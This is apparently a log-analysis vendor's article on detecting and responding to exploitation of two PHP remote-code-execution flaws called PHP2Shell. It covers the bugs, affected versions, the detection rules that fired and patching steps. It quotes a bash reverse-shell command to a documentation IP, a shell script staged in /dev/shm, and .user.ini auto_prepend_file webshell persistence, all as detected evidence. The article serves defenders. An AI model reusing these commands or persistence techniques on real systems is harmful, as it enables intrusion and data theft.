PHP2Shell Detection

PHP2Shell detection matters because the window between a patch and real-world exploitation can be a single day. PHP2Shell is the name for two unauthenticated remote code execution flaws in PHP core, CVE-2026-109618 and CVE-2026-109619, both rated CVSS v4.0 9.2. No authentication is needed, so any exposed PHP application on an unpatched release is a target. In the sample below, exploitation surfaces as a PHP worker crash followed by commands running as the web server user.

This article covers PHP2Shell detection using a log sample analyzed in LogTotal, a log analysis tool that matches events to known threats. Below, we explain the vulnerability context, where the logs came from, what LogTotal found, and how to respond.

PHP2Shell Analysis

Both PHP2Shell flaws score 9.2 under CVSS v4.0, and both can be reached without authentication on any PHP installation that serves web requests. To read the log sample correctly, it helps to know how each bug works, how fast the disclosure unfolded, and which installations are exposed.

Get Started For Free

Vulnerability details for PHP2Shell

The two CVEs are separate memory-safety bugs in how PHP handles a request. Either one lets an attacker run code as the web server user.

• CVE-2026-109618, out-of-memory corruption. When PHP runs out of memory partway through setting up a request, internal data is left half built, and the cleanup code then trusts it.
• CVE-2026-109619, stale global state. Internal state outlives the request memory it points to, so the next request the same worker picks up can act on leftover data.

This is why exploitation shows up as PHP “Allowed memory size … exhausted” errors and PHP worker crashes. Public PHP2Shell scanners look for the same signals.

Disclosure and exploitation timeline

Researchers at Calif found the flaws and reported them to PHP. The leak is why LogTotal’s chain is titled “Leaked Critical PHP Vulnerabilities.” Public PoC code and exploit frameworks appeared on GitHub within days, and one research toolkit reports verified command execution as www-data on builds from PHP 7.4 through 8.4 below the fixed releases.

Which systems PHP2Shell affects

PHP lists every release before 8.5.12, 8.4.27, 8.3.36, and 8.2.35 as vulnerable, and older branches are affected too.

Every PHP installation that serves web requests is in scope, whether it runs under PHP-FPM, Apache mod_php, php-cgi, LiteSpeed, or FrankenPHP. PHP rates the risk highest for Apache mod_php, where an attack can succeed before any application code runs.

Log source and collection

The file blends two sources into one schema:

• 2 plain-text lines from the PHP runtime and the PHP-FPM error log
• 4 events (file and process), normalized to ECS

The mix is typical of what reaches a SIEM in practice: application error logs alongside EDR telemetry.

Detect PHP2Shell

LogTotal processed 6 lines in 4.2 seconds, matched 9 rules against 4 lines, and formed one chain on web-prod-01: PHP2Shell, Leaked Critical PHP Vulnerabilities (CVE-2026-109618 & CVE-2026-109619), Critical, 100% match, 3 rules fired.

How the PHP2Shell chain unfolds

The chain follows the exploitation in three steps, all within three seconds.

1. Crash. The rule “Possible CVE-2026-109618 / CVE-2026-109619 Exploitation Attempt – PHP Memory Exhaustion / PHP Worker Crash” matched a PHP fatal “Allowed memory size … exhausted” error and PHP-FPM child 1201 dying on SIGSEGV. These are the same crash signals public PHP2Shell scanners look for.
2. Shell from the web worker. “Possible PHP Worker Spawning Unusual Process” and “Suspicious Shell via Web Server [Linux]” caught php-fpm, running as www-data, spawning sh -c bash /dev/shm/.s. The script was staged in RAM-backed /dev/shm.
3. Reverse shell. “Possible Data Exfiltration / Reverse Shell via Bash” matched bash -i >& /dev/tcp/198.51.100.23/4444 0>&1. Outside the chain, four more rules hit the same command, led by Linux Reverse Shell Indicator (Critical).

Using LogTotal findings in PHP2Shell triage

The chain gives the order of events and the severity in one screen. The raw events give the IOCs to block and the persistence to remove. Use both: confirm the chain’s three steps, then review the file events and command lines for IOCs and persistence.

PHP2Shell Mitigation

The definitive fix for PHP2Shell is a fixed PHP release, and PHP states that no configuration change fully mitigates these flaws. On a server that has already been exploited, patching is not enough: the webshell and .user.ini persist across a PHP upgrade.

Patch every PHP installation

1. Inventory every server and application that runs PHP, starting with internet-facing systems and any that run PHP as an Apache module.
2. Update each installation to 8.5.12, 8.4.27, 8.3.36, or 8.2.35, matching its branch. Linux distributions received the patches ahead of release, so check for updated distribution packages.
3. Restart every PHP worker so the fix takes effect.
4. For PHP 7.4, 8.0, and 8.1, use a distribution or LTS vendor package or PHP’s minimal source backports, or upgrade. PHP 7.3 and older have no fix.
5. Restrict internet access to any PHP system you cannot update immediately.

Community trackers also report CVE-2026-115560, a separate, configuration-dependent session upload-progress vector covered by a PHP informational advisory on 23 October 2026. It is not part of PHP2Shell and was left for a later release; the interim recommendation is session.upload_progress.enabled = 0.

LogTotal’s recommended response

1. Isolate web-prod-01.
2. Preserve its web, system, and network logs.
3. Investigate the reverse-shell destination.
4. Verify the PHP version and patch.
5. Alert on future PHP worker crashes and shell spawns.

Additional steps from the raw evidence

1. Block egress to 198.51.100.23:4444.
2. Preserve evidence before cleanup: copy uploads/.cache.php, .user.ini, and /dev/shm/.s. Files in /dev/shm are lost on reboot.
3. Remove persistence. Delete the auto_prepend_file directive, or better, rebuild the host on a fixed PHP release.
4. Rotate every secret www-data can read, such as database credentials and API keys in application config.
5. Hunt the web fleet for:
   • .user.ini files containing auto_prepend_file
   • hidden PHP files in upload folders
   • shells spawned by php-fpm, php-cgi, apache2, or httpd

Ongoing PHP2Shell monitoring

Keep PHP and PHP-FPM error logs flowing to your SIEM alongside EDR telemetry. In this sample, the crash lines were the first signal and the EDR file events held the persistence. Either source alone would have told only half the story.